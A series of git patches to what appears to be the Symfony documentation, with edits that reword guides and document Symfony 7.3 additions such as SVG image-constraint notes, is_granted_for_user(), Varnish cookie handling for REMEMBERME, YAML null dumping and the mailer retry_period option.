 web_link.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index 44e668c2112..8602445313f 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -50,14 +50,14 @@ Imagine that your application includes a web page like this:
     </body>
     </html>
 
-Following the traditional HTTP workflow, when this page is served browsers will
-make one request for the HTML page and another request for the linked CSS file.
-However, thanks to HTTP/2 your application can start sending the CSS file
-contents even before browsers request them.
-
-You can update the template to use the ``preload()`` Twig function provided by
-WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply
-correct prioritization and the content security policy:
+In a traditional HTTP workflow, when this page is loaded, browsers make one
+request for the HTML document and another for the linked CSS file. However,
+with HTTP/2, your application can send the CSS file's contents to the browser
+before it requests them.
+
+To achieve this, update your template to use the ``preload()`` Twig function
+provided by WebLink. Note that the `"as" attribute`_ is required, as browsers use
+it to prioritize resources correctly and comply with the content security policy:
 
 .. code-block:: html+twig
 

From 248d4ff7547e084cd52afea48cc6d9c915857e5e Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 30 Dec 2024 08:57:11 +0100
Subject: [PATCH 6597/7107] cannot validate svg image size

---
 reference/constraints/Image.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 48dc1d5e0ed..2734cf439d7 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -530,5 +530,10 @@ options has been set.
 
 This message has no parameters.
 
+.. note::
+
+    SVG images sizes are not currently supported. Using size constraints with
+    these files will display this message.
+
 .. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php

From 48f04058daf054506cb1a8214a7ed2bc978bdba9 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 1 Jan 2025 21:36:10 +0100
Subject: [PATCH 6598/7107] add Oauth client package in doc

---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 42489f6e3fe..ab4f48d6559 100644
--- a/security.rst
+++ b/security.rst
@@ -724,7 +724,7 @@ many other authenticators:
 
     If your application logs users in via a third-party service such as
     Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
-    community bundle.
+    community bundle or `Oauth2-client`_ package.
 
 .. _security-form-login:
 
@@ -3037,3 +3037,4 @@ Authorization (Denying Access)
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php
+.. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client

From 04790be521b670ddffbee654c55da3bc165dfd55 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 30 Dec 2024 08:38:13 +0100
Subject: [PATCH 6599/7107] [Validator] Validate SVG ratio in Image validator

---
 reference/constraints/Image.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 48dc1d5e0ed..23fbe5a157a 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -210,6 +210,10 @@ add several other options.
 
 If this option is false, the image cannot be landscape oriented.
 
+.. versionadded:: 7.3
+
+    The ``allowLandscape`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowLandscapeMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -234,6 +238,10 @@ Parameter         Description
 
 If this option is false, the image cannot be portrait oriented.
 
+.. versionadded:: 7.3
+
+    The ``allowPortrait`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowPortraitMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -260,6 +268,10 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
+.. versionadded:: 7.3
+
+    The ``allowSquare`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowSquareMessage``
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -358,6 +370,10 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
+.. versionadded:: 7.3
+
+    The ``maxRatio`` option support for SVG files was introduced in Symfony 7.3.
+
 ``maxRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -477,6 +493,10 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
+.. versionadded:: 7.3
+
+    The ``minRatio`` option support for SVG files was introduced in Symfony 7.3.
+
 ``minRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 

From a604558544e641dfc60fb4f3e3d7da8996dfd2eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2025 12:25:24 +0100
Subject: [PATCH 6600/7107] Reword

---
 reference/constraints/Image.rst | 30 ++++++++++++++++++++++++++++--
 1 file changed, 28 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 2734cf439d7..042c6041423 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -210,6 +210,11 @@ add several other options.
 
 If this option is false, the image cannot be landscape oriented.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowLandscapeMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -234,6 +239,11 @@ Parameter         Description
 
 If this option is false, the image cannot be portrait oriented.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowPortraitMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -260,6 +270,11 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowSquareMessage``
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -358,6 +373,11 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``maxRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -477,6 +497,11 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``minRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -532,8 +557,9 @@ This message has no parameters.
 
 .. note::
 
-    SVG images sizes are not currently supported. Using size constraints with
-    these files will display this message.
+    Detecting the size of SVG images is not supported. This error message will
+    be displayed if you use any of the following options: ``allowLandscape``,
+    ``allowPortrait``, ``allowSquare``, ``maxRatio``, and ``minRatio``.
 
 .. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php

From 3596f8c2b09f3380773a42a38b30f152fada315c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 2 Jan 2025 12:59:47 +0100
Subject: [PATCH 6601/7107] Add ifFalse()

---
 components/config/definition.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 0e626931568..24c142ec5a5 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -815,6 +815,7 @@ A validation rule always has an "if" part. You can specify this part in
 the following ways:
 
 - ``ifTrue()``
+- ``ifFalse()``
 - ``ifString()``
 - ``ifNull()``
 - ``ifEmpty()``
@@ -833,6 +834,10 @@ A validation rule also requires a "then" part:
 Usually, "then" is a closure. Its return value will be used as a new value
 for the node, instead of the node's original value.
 
+.. versionadded:: 7.3
+
+    The ``ifFalse()`` method was introduced in Symfony 7.3.
+
 Configuring the Node Path Separator
 -----------------------------------
 

From 9b50440bfb2c1a2e247f0200f06531ce53fec30d Mon Sep 17 00:00:00 2001
From: Hugo Posnic <hugo.posnic@protonmail.com>
Date: Mon, 16 Dec 2024 21:33:32 +0100
Subject: [PATCH 6602/7107] Add info for essential cookies (such as REMEMBERME)

---
 http_cache/varnish.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 1bc77530c70..98f66ff1af1 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -70,21 +70,18 @@ into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-c
 Cookies created in JavaScript and used only in the frontend, e.g. when using
 Google Analytics, are nonetheless sent to the server. These cookies are not
 relevant for the backend and should not affect the caching decision. Configure
-your Varnish cache to `clean the cookies header`_. You want to keep the
-session cookie, if there is one, and get rid of all other cookies so that pages
-are cached if there is no active session. Unless you changed the default
-configuration of PHP, your session cookie has the name ``PHPSESSID``:
+your Varnish cache to `clean the cookies header`_. The goal is to retain only essential cookies—such as session cookies—and remove all others. By doing this, pages can still be cached when there is no active session. If you are using PHP and have not changed its default configuration, the session cookie is typically named PHPSESSID. Additionally, if your application relies on other important cookies, such as a "REMEMBERME" cookie for "remember me" functionality or "trusted_device" for 2FA, these cookies should also be preserved.
 
 .. configuration-block::
 
     .. code-block:: varnish4
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
@@ -98,11 +95,11 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``:
     .. code-block:: varnish3
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 

From c6f8e11faa520a12e3ca3f9c3de68cc5d5294b2d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2025 13:27:26 +0100
Subject: [PATCH 6603/7107] Minor tweaks

---
 http_cache/varnish.rst | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 98f66ff1af1..a9bb668c100 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -67,10 +67,18 @@ at least for some parts of the site, e.g. when using forms with
 and clear the session when it is no longer needed. Alternatively, you can look
 into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`.
 
-Cookies created in JavaScript and used only in the frontend, e.g. when using
-Google Analytics, are nonetheless sent to the server. These cookies are not
-relevant for the backend and should not affect the caching decision. Configure
-your Varnish cache to `clean the cookies header`_. The goal is to retain only essential cookies—such as session cookies—and remove all others. By doing this, pages can still be cached when there is no active session. If you are using PHP and have not changed its default configuration, the session cookie is typically named PHPSESSID. Additionally, if your application relies on other important cookies, such as a "REMEMBERME" cookie for "remember me" functionality or "trusted_device" for 2FA, these cookies should also be preserved.
+Cookies created in JavaScript and used only on the frontend, such as those from
+Google Analytics, are still sent to the server. These cookies are not relevant
+for backend processing and should not influence the caching logic. To ensure
+this, configure your Varnish cache to `clean the cookies header`_ by retaining
+only essential cookies (e.g., session cookies) and removing all others. This
+allows pages to be cached when there is no active session.
+
+If you are using PHP with its default configuration, the session cookie is
+typically named ``PHPSESSID``. Additionally, if your application depends on other
+critical cookies, such as a ``REMEMBERME`` cookie for :doc:`remember me </security/remember_me>`
+functionality or a trusted device cookie for two-factor authentication, these
+cookies should also be preserved.
 
 .. configuration-block::
 

From 0008e5b1a76566acbdb0e6e4fd5e752a31950eea Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 2 Jan 2025 13:34:31 +0100
Subject: [PATCH 6604/7107] Fix build

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index 79bad3f2254..d684ba09ba7 100644
--- a/security.rst
+++ b/security.rst
@@ -2966,4 +2966,3 @@ Authorization (Denying Access)
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client
-.. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php

From e1c23c76557c1bad82005f61effb685fba775c6c Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@symetricproductions.com>
Date: Thu, 2 Jan 2025 10:20:16 -0500
Subject: [PATCH 6605/7107] Add docs for is_granted_for_user() function

---
 reference/twig_reference.rst | 21 +++++++++++++++++++++
 security.rst                 | 11 +++++++++++
 2 files changed, 32 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index d8b802dd73e..4485494bd9c 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -174,6 +174,27 @@ Returns ``true`` if the current user has the given role.
 Optionally, an object can be passed to be used by the voter. More information
 can be found in :ref:`security-template`.
 
+is_granted_for_user
+~~~~~~~~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ is_granted_for_user(user, attribute, subject = null, field = null) }}
+
+``user``
+    **type**: ``object``
+``attribute``
+    **type**: ``string``
+``subject`` *(optional)*
+    **type**: ``object``
+``field`` *(optional)*
+    **type**: ``string``
+
+Returns ``true`` if the user is authorized for the specified attribute.
+
+Optionally, an object can be passed to be used by the voter. More information
+can be found in :ref:`security-template`.
+
 logout_path
 ~~~~~~~~~~~
 
diff --git a/security.rst b/security.rst
index 8026c63484b..7fe452e4fae 100644
--- a/security.rst
+++ b/security.rst
@@ -2549,6 +2549,17 @@ the built-in ``is_granted()`` helper function in any Twig template:
 
 .. _security-isgranted:
 
+Similarly, if you want to check if a specific user has a certain role, you can use
+the built-in ``is_granted_for_user()`` helper function:
+
+.. code-block:: html+twig
+
+    {% if is_granted_for_user(user, 'ROLE_ADMIN') %}
+        <a href="...">Delete</a>
+    {% endif %}
+
+.. _security-isgrantedforuser:
+
 Securing other Services
 .......................
 

From ddf1ad3975a30bd1b3fce6528c4795646674508e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 13:17:39 +0100
Subject: [PATCH 6606/7107] Add the missing versionadded directive

---
 reference/twig_reference.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4485494bd9c..e01fa3f80e3 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -177,6 +177,10 @@ can be found in :ref:`security-template`.
 is_granted_for_user
 ~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 7.3
+
+    The ``is_granted_for_user()`` function was introduced in Symfony 7.3.
+
 .. code-block:: twig
 
     {{ is_granted_for_user(user, attribute, subject = null, field = null) }}

From c4e7c728d066864c3140c3c0da0ae1d3a3f5269b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 13:31:54 +0100
Subject: [PATCH 6607/7107] Reword

---
 validation/custom_constraint.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 3fd1afbeddc..5f0740885d5 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -66,14 +66,15 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         }
     }
 
-Constraint with private properties
+Constraint with Private Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Constraints are cached for efficiency, but private properties are not supported
-by default.
+Constraints are cached for performance reasons. To achieve this, the base
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars()` function, which
+excludes private properties of child classes.
 
-So if you're using private properties in your constraint, you must override default
-``__sleep`` method ::
+If your constraint defines private properties, you must explicitly include them
+in the ``__sleep()`` method to ensure they are serialized correctly::
 
     // src/Validator/ContainsAlphanumeric.php
     namespace App\Validator;

From effffa3bb0bcdbb7016d7bd415cd23c4f01fd948 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 14:55:02 +0100
Subject: [PATCH 6608/7107] Minor tweak

---
 frontend/asset_mapper.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 81e91c1fc9d..d68c77c0105 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -747,11 +747,9 @@ and which file extensions should be compressed:
 Now, when running the ``asset-map:compile`` command, all matching files will be
 compressed in the configured format and at the highest compression level. The
 compressed files are created with the same name as the original but with the
-``.br``, ``.zst``, or ``.gz`` extension appended. Web servers that support asset
-precompression will use the compressed assets automatically, so there's nothing
-else to configure in your server.
+``.br``, ``.zst``, or ``.gz`` extension appended.
 
-Finally, you need to configure your web server to serve the precompressed assets
+Then, you need to configure your web server to serve the precompressed assets
 instead of the original ones:
 
 .. configuration-block::

From 9b65586c1ee8ec15873d290b6eaa01e8bd2dc062 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 16:43:16 +0100
Subject: [PATCH 6609/7107] Fix build

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 990e1de9371..59da9e60568 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -66,7 +66,7 @@ Constraint with Private Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Constraints are cached for performance reasons. To achieve this, the base
-``Constraint`` class uses PHP's :phpfunction:`get_object_vars()` function, which
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which
 excludes private properties of child classes.
 
 If your constraint defines private properties, you must explicitly include them

From 1272701ec6e1d15e9bf21d6ab55445d6f68838ba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 16:19:25 +0100
Subject: [PATCH 6610/7107] [DependencyInjection] Make #[AsTaggedItem]
 repeatable

---
 service_container/tags.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 270d6702f5a..bf50a191ba3 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -1281,4 +1281,19 @@ be used directly on the class of the service you want to configure::
         // ...
     }
 
+You can apply the ``#[AsTaggedItem]`` attribute multiple times to register the
+same service under different indexes:
+
+    #[AsTaggedItem(index: 'handler_one', priority: 5)]
+    #[AsTaggedItem(index: 'handler_two', priority: 20)]
+    class SomeService
+    {
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The feature to apply the ``#[AsTaggedItem]`` attribute multiple times was
+    introduced in Symfony 7.3.
+
 .. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion

From 9d4972de1863f3a028c6ce5d5e8d4ad2ac866201 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 16:52:36 +0100
Subject: [PATCH 6611/7107] Minor reword

---
 security.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index baa1a32a3a7..92367f29a88 100644
--- a/security.rst
+++ b/security.rst
@@ -2596,12 +2596,13 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
           // ...
       }
 
+
 .. tip::
 
-    Using ``isGranted()`` checks authorization against the currently logged in user. If you need to check
-    against a user that is not the one logged in or if checking authorization when the user session is not
-    available in a CLI context (example: message queue, cronjob) ``isGrantedForUser()`` can be used to set the
-    target user explicitly.
+    The ``isGranted()`` method checks authorization for the currently logged-in user.
+    If you need to check authorization for a different user or when the user session
+    is unavailable (e.g., in a CLI context such as a message queue or cron job), you
+    can use the ``isGrantedForUser()`` method to explicitly set the target user.
 
     .. versionadded:: 7.3
 

From 1afb8ebf3663a634108eac91b3d74ee20631d0af Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Jan 2025 15:57:26 +0100
Subject: [PATCH 6612/7107] [HttpFoundation] Generate url-safe hashes for
 signed urls

---
 routing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/routing.rst b/routing.rst
index ef3287dd1be..4ab0dce2a82 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2802,6 +2802,11 @@ argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    Starting with Symfony 7.3, signed URI hashes no longer include the ``/`` or
+    ``+`` characters, as these may cause issues with certain clients.
+
 Troubleshooting
 ---------------
 

From 786f7981aca32b2d87d2f37a2363f17090ee5599 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 5 Jan 2025 21:51:27 +0100
Subject: [PATCH 6613/7107] drop parentheses at end of PHP function

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5f0740885d5..c2b4eff130a 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -70,7 +70,7 @@ Constraint with Private Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Constraints are cached for performance reasons. To achieve this, the base
-``Constraint`` class uses PHP's :phpfunction:`get_object_vars()` function, which
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which
 excludes private properties of child classes.
 
 If your constraint defines private properties, you must explicitly include them

From ab691630aaeeabe52ae7717be558faa560968169 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Jan 2025 09:11:25 +0100
Subject: [PATCH 6614/7107] [Yaml] Add support for dumping `null` as an empty
 value by using the `Yaml::DUMP_NULL_AS_EMPTY` flag

---
 components/yaml.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 30f715a7a24..58436adffc2 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -428,6 +428,16 @@ you can dump them as ``~`` with the ``DUMP_NULL_AS_TILDE`` flag::
     $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_TILDE);
     // foo: ~
 
+Another valid representation of the ``null`` value is an empty string. You can
+use the ``DUMP_NULL_AS_EMPTY`` flag to dump null values as empty strings::
+
+    $dumped = Yaml::dump(['foo' => null], 2, 4, Yaml::DUMP_NULL_AS_EMPTY);
+    // foo:
+
+.. versionadded:: 7.3
+
+    The ``DUMP_NULL_AS_EMPTY`` flag was introduced in Symfony 7.3.
+
 Dumping Numeric Keys as Strings
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From e818e1261943048b09487f2fb624adbf4d8f1730 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 6 Jan 2025 15:40:44 +0100
Subject: [PATCH 6615/7107] Add data-controller="csrf-protection" to CSRF
 fields

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index ab4f48d6559..b725672dd5f 100644
--- a/security.rst
+++ b/security.rst
@@ -1028,7 +1028,7 @@ be ``authenticate``:
     <form action="{{ path('app_login') }}" method="post">
         {# ... the login fields #}
 
-        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+        <input type="hidden" name="_csrf_token" data-controller="csrf-protection" value="{{ csrf_token('authenticate') }}">
 
         <button type="submit">login</button>
     </form>

From 7d7e77cafbabba22b2443f4edc9fc13e3aba1bdf Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 6 Jan 2025 20:48:52 +0100
Subject: [PATCH 6616/7107] [PropertyInfo] Add
 PropertyDescriptionExtractorInterface to PhpStanExtractor

---
 components/property_info.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 2e1ee42dd3f..0ff1768441a 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -469,7 +469,18 @@ information from annotations of properties and methods, such as ``@var``,
     use App\Domain\Foo;
 
     $phpStanExtractor = new PhpStanExtractor();
+
+    // Type information.
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
+    // Description information.
+    $phpStanExtractor->getShortDescription($class, 'bar');
+    $phpStanExtractor->getLongDescription($class, 'bar');
+
+.. versionadded:: 7.3
+
+    The :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getShortDescription`
+    and :method:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor::getLongDescription`
+    methods were introduced in Symfony 7.3.
 
 SerializerExtractor
 ~~~~~~~~~~~~~~~~~~~

From 6d16cd8b4e41fa0b1686c44edb93b1f77023cd6f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 6 Jan 2025 21:15:30 +0100
Subject: [PATCH 6617/7107] [Mailer] Add retry_period option for email
 transport

---
 mailer.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 4f0619147ad..8cc0d8641e3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -331,6 +331,17 @@ The failover-transport starts using the first transport and if it fails, it
 will retry the same delivery with the next transports until one of them succeeds
 (or until all of them fail).
 
+By default, the delivery will be retried 60 seconds after previous sending failed.
+You can change the retry period by setting the ``retry_period`` option in the DSN:
+
+.. code-block:: env
+
+    MAILER_DSN="failover(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15"
+
+.. versionadded:: 7.3
+
+    The ``retry_period`` option was introduced in Symfony 7.3.
+
 Load Balancing
 ~~~~~~~~~~~~~~
 
@@ -351,6 +362,17 @@ As with the failover transport, round-robin retries deliveries until
 a transport succeeds (or all fail). In contrast to the failover transport,
 it *spreads* the load across all its transports.
 
+By default, the delivery will be retried 60 seconds after previous sending failed.
+You can change the retry period by setting the ``retry_period`` option in the DSN:
+
+.. code-block:: env
+
+    MAILER_DSN="roundrobin(postmark+api://ID@default sendgrid+smtp://KEY@default)?retry_period=15"
+
+.. versionadded:: 7.3
+
+    The ``retry_period`` option was introduced in Symfony 7.3.
+
 TLS Peer Verification
 ~~~~~~~~~~~~~~~~~~~~~
 

From 7d94c8e8fc64032721af5415d8a3c0fe018ecf71 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Jan 2025 08:42:04 +0100
Subject: [PATCH 6618/7107] Minor reword

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 8cc0d8641e3..4fd02eb84d7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -331,8 +331,8 @@ The failover-transport starts using the first transport and if it fails, it
 will retry the same delivery with the next transports until one of them succeeds
 (or until all of them fail).
 
-By default, the delivery will be retried 60 seconds after previous sending failed.
-You can change the retry period by setting the ``retry_period`` option in the DSN:
+By default, delivery is retried 60 seconds after a failed attempt. You can adjust
+the retry period by setting the ``retry_period`` option in the DSN:
 
 .. code-block:: env
 
@@ -362,8 +362,8 @@ As with the failover transport, round-robin retries deliveries until
 a transport succeeds (or all fail). In contrast to the failover transport,
 it *spreads* the load across all its transports.
 
-By default, the delivery will be retried 60 seconds after previous sending failed.
-You can change the retry period by setting the ``retry_period`` option in the DSN:
+By default, delivery is retried 60 seconds after a failed attempt. You can adjust
+the retry period by setting the ``retry_period`` option in the DSN:
